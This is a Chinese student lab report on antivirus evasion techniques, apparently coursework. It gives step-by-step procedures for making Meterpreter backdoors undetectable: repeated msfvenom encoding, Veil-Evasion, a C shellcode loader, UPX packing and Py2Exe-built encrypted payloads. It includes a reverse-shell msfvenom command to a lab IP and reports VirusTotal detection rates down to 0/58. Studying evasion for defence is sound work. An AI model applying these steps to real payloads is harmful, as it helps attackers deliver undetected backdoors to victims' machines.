王柏舟p免杀原理与实践twbf

免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。,这种检测方式的特是:精确检测,但滞后,需要先得到特征码才能检测出恶意软件。

启发式Heuristic,简单来说,就是根据些片面特征去推断,比如软件的行为、软件的签名等。通常是在没有精确判定依据时使用启发式检测。这种检测方式的优点是:可以检测0-day恶意软件,具有一定通用性,缺点是:实时监控系统行为,开销稍多;没有基于特征码的精确度高,可能错判。

从理论上讲,基于行为的检测相当于是启发式的一种,更侧重于监控软件的行为。有一些行为是恶意代码共有的,而且比较特殊,在正常代码中比较罕见。当程序运行时,监视其行为,如果发现了病毒行为,立即报警。这种检测方法可预报未知的多数病毒,但不能发现是哪种病毒。

如果只有EXE,可以加压缩壳或加密壳;如果有shellcode(像Meterpreter),可以使用encode进行编码,或基于payload重新编译生成可执行文件;如果有源代码,可以用其他语言进行重写再编译。

1.后门文件检测

上次实验中生成了meter_backdoor的后门文件。

将文件复制到Windows中,杀毒软件会提示该文件是木马文件,选择将其找回。

检出率为56/71,比没有编码前降低了一点,效果可以忽略。

将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,选择找回。

在VirusTotal中检测:

检出率为56/71,和一次编码的效果没有差别。可见利用编码次数来达到免杀效果显然是不行的。

1.生成jar文件

检出率为35/61,和exe比起来jar格式文件明显少了很多。

2.生成php文件

检出率为3/58,效果特别好。

Veil用于创建可被Meterpreter调用的Python程序。

这是我选择的第二种方法,期间碰到的一些问题及解决方法在后面详细说明。

2.生成文件

输入 veil 打开软件,输入 use evasion 进入veil-evasion:

进入到菜单界面可以看到当前一共有 41 种 payload 可用。

检出率为48/72。

执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.246.137 LPORT=4321 -f c ,得到一段shellcode编码。

touch 新建一个4321_shellcode.c文件,用vim进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。

检出率为43/72。

本实验利用upx实现加壳,方法是:upx #需加壳的原文件 -o #加壳生成文件

在Windows端运行加壳文件,kali打开msf监控测试:

回连成功。

检出率为38/72。效果非常好。

将文件放到win中指定位置,杀毒软件提示该文件是木马文件,选择找回。

但是可以成功反弹回连。

检出率51/71,免杀效果还不如加壳。

进入到evasion中,用list查看可用的有效荷载:

选择第32个荷载: use 32 (Phython下shellcode在DES下加密的一种)

用 generate 生成,shellcode平台选择2-msfvenom,payloads、IP用Tab自动获取。

输入文件名w4321,选择Py2Exe生成exe文件。

检出率为0/58!

使用shellcode_launcher(一种效果最好的shellcode加载器)实现免杀

1.杀软是如何检测出恶意代码的?

(1)基于特征码检测:如果一个可执行文件(或其他运行的库、脚本等)包含特定的数据则被认为是恶意代码。

(2)启发式恶意软件检测:如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。

(3)基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。通过对病毒多年的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。当程序运行时,进行检测,如果发现了病毒行为,立即报警。

2.免杀是做什么?

通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,使得恶意代码能够不被杀毒软件所检测和查杀。

3.免杀的基本方法有哪些?

(1)改变特征码

(2)改变行为

4.开启杀软能绝对防止电脑中恶意代码吗?

开启杀软不能绝对防止电脑中恶意代码,但是及时更新是可以降低中毒的几率的。

1.安装好veil后提示:

2.

我的kali里没有自带的mingw-w64,需要sudo apt-get install mingw-w64来安装。

这次实验中尝试了很多免杀方法,有些无截图就没有写到报告里。每次实验都会遇到大大小小的问题,让人非常崩溃。但是花费足够多的时间和精力后,问题又会顺利解决或者莫名其妙消失。在解决问题的过程中,我学习到了不少实验内容以外的kali linux知识。另外经过实验我了解到杀毒软件并不是特别可靠,我通过一些简单步骤生成的木马病毒无法被识别,需要我们及时更新杀软、及时进行电脑体检,提高安全意识。

THE END
0.重力坝4.荷载组合:基本荷载:①坝体及其上固定设备的自重;②正常蓄水位或设计洪水位时的静水压力;③相应于正常蓄水位或设计洪水位时的扬压力;④泥沙压力;⑤相应于正常蓄水位或设计洪水位时的浪压力;⑥冰压力;⑦土压力;⑧相应于设计洪水位时的动水压力;⑨其他出现几率较多的荷载。 特殊荷载:①校核洪水位时的静水压力;②jvzquC41o0972mteu0tfv8iqe1h3;:69676/j}rn
1.了解分布式光伏屋顶承载力验算—PKPM基本光伏荷载计算了解分布式光伏屋顶承载力验算—PKPM基本光伏荷载计算 针对屋面光伏电站承重安全检测,我们严格按照国家标准执行,采用多种精准的检测手段和先进的仪器设备进行现场检测,确保数据的准确性和可靠性。通过对检测数据的科学分析和技术评估,我们能够快速、准确地得出验算数据,并出具详尽、客观的报告。我们的报告内容包括对于屋面光伏jvzquC41;5=28:<50d8c0:66894dqv4pgyy07?<2259/c|u
2.建筑结构荷载规范风荷载计算沿革基本风压系以当地比较空旷平坦地面上离地10m高统计所得的30年一遇10min平均最大风速v0(m/s)为标准,按ω0=确定的风压值。 基本风压的计算方式,没有变化,只是在GB50009-2001规范开始,风荷载的基本值的重现期由30年一遇改为50年一遇。 基本风压的取值主要是通过历年数据的统计结果修正的,随着统计数据的不断更新jvzquC41yy}/ekn5824og}4|jd532:=2328`7:;60jznn
3.《混凝土结构工程施工规范》GB506662)施工阶段风荷载 3)模板工程试设计 4)预应力锚具的传力性能 5)大体积混凝土裂缝控制 (2)系统地提出了模板及支架设计方法的构造措施; (3)提出了预应力结构工程耐久性相关的施工规定,有利于促进我国预应力施工技术的发展; (4)系统提出了混凝土制备、运输、浇筑和养护等施工操作要求; jvzq<84llin/zqz0gf{/ew4;81g:1l:248g22=6271vbin3jvo
4.《民用机场飞机荷载桥梁设计指南》解读(一)与国家和行业标准衔接,提出基本设计指标和总体设计原则 在设计指标上,依据《工程结构通用规范》《民用机场飞行区技术标准》等,规定飞机荷载桥梁主体结构的设计使用年限不低于100年,其结构设计安全等级取一级,抗震采用两水准设防和两阶段设计。 在总体设计上,考虑机场总体规划要求和飞机安全通行要求,提出飞机荷载桥梁jvzq<84yyy4dcjhpgyy/exr0ep521>44249138y424913:=a35<27;5aycv/j}rn
5.基础的标准规范有哪些?|标准统计与分析基础的标准规范有哪些?提供与基础有关的全球标准信息。建筑结构中传递荷载至地基的组成部分,包括扩展基础、桩基等类型。根据土质条件和荷载特性设计,其稳定性直接影响上部结构的安全性能。jvzquC41yy}/cwyrgfob0lto1uzbpmftf1ipp}jpvauclnhvaevy1B<3274ivvq
6.尼日利亚拉各斯轻轨跨海桥栈桥设计及受力分析2.1 基本可变荷载 100t履带吊机,其自重为114t,接触面积是2×(6850×950mm2)。100t履带吊机需要在栈桥上起吊20t,在栈桥每联内仅允许布置一辆。 2.2 其他可变作用 ①栏杆荷载:根据人行道栏杆进行设计,作用于栏杆扶手上的竖向力标准值为1.0kN/m,作用于栏杆立柱顶上的水平推力标准值为0.75kN/m; ②行人荷载:2.5kN/m;管道jvzquC41yy}/h8830ipo8ucig532;7133821:=4437277xjvor
7.底轴旋转式钢闸门设计制造安装及验收规范b) 顶水平次梁应有足够的构造刚度,并应满足门顶过水流态要求。 5.4.1.7 根据门叶受水压力特性,并考虑布置的合理性和经济性,门叶宜采用下宽上窄的 风帆式结构。 5.4.2 结构计算 5.4.2.1 闸门门叶的结构计算应按容许应力方法和规定的荷载,根据实际可能发生的 最不利的荷载组合情况,按基本荷载组合和特殊荷载组jvzquC41yy}/uqfpi{kykwjk0ipo8ftvkimg89742?177mvon
8.《装配式建筑基础》讲义焦作大学2.装配式建筑的结构系统主要包括哪些? 装配式建筑的结构系统主要包括梁、板、柱、剪力墙、支撑等承受或传递荷载作用的结构构件。 3.装配式建筑的外围护系统主要包括哪些? 装配式建筑的外围护系统主要包括建筑外墙、屋面、外门窗及其它与外部环境直接接触的部品部件等,主要用于分隔建筑室内外环境。 jvzquC41vop{il3l|w4ff~3ep1oohx4334>03B=60jzn
9.抗侧力构件弹性位移如何计算(6)应用虚功方程,将单元中的各种外力荷载向结点移置,求出单元的结点荷载。 (7)列出各结点的平衡方程,组成整个结构的平衡方程组。 12、简述材料力学和弹性力学在研究对象、研究方法方面的异同点。 在研究对象方面,材料力学基本上只研究杆状构件,也就是长度远大于高度和宽度的构件;而弹性力学除了对杆状构件作进一步的jvzquC41dnuh0lxfp0tfv8|gkzooa<>;;99228ftvkimg8igvcomu86339736B=